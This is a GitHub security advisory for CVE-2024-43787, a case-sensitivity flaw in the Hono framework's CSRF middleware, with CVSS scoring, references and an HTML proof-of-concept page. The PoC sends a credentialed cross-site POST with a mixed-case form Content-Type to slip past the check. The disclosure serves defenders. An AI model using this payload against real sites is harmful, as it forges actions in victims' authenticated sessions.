GitHub Advisory DatabaseGHSA-RPFR-3M35-5VX5Hono CSRF middleware can be bypassed using crafted Content-Type header
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
LOW
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
AI Score
Confidence
Low
EPSS
Percentile
16.4%
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as “Application/x-www-form-urlencoded”.
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I’m not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
Affected configurations
References
github.com/advisories/GHSA-rpfr-3m35-5vx5
github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449
github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5
nvd.nist.gov/vuln/detail/CVE-2024-43787
Related
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
LOW
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
AI Score
Confidence
Low
EPSS
Percentile
16.4%